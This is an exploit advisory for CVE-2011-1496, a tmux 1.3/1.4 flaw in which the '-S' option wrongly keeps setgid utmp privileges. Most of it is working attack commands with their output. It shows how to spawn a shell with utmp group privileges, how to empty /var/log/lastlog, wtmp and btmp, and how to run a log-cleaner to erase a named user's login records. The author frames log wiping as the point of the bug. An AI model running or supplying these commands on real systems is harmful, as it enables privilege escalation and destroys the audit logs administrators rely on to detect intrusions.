tmux 1.3/1.4 - '-S' Option Incorrect SetGID Privilege Escalation

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| Team ph0x90bic proudly presents     |
| tmux -S 1.3/1.4 local utmp exploit  |
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# Exploit Title: tmux '-S' Option Incorrect SetGID Local Privilege Escalation Vulnerability
# Date: 11.04.2011
# Author: ph0x90bic
# Software Link: http://tmux.sourceforge.net/
# Version: 1.3/1.4
# Tested on: Linux debian 2.6.26-1-686
# CVE : CVE-2011-1496

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INTRODUCTION

tmux 1.3/1.4 contains a privilege escalation vulnerabillity,
which gives you utmp group privileges. This bug is important,
because it is possible to clean logfiles and use logcleaners
for btmp, wtmp and lastlog without local root access.

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EXPLOIT

Execute shell as utmp group

$ tmux -S /tmp/.whateveryouwant -c id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)

$ tmux -S /tmp/.whateveryouwant -c /bin/sh
$ id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)

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Delete logfiles

$ tmux -S /tmp/.whateveryouwant -c '> /var/log/lastlog'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/wtmp'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/btmp'

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Use logcleaner software

$ tmux -S /tmp/.whateveryouwant -c /tmp/thcclear13/cleara hacker-username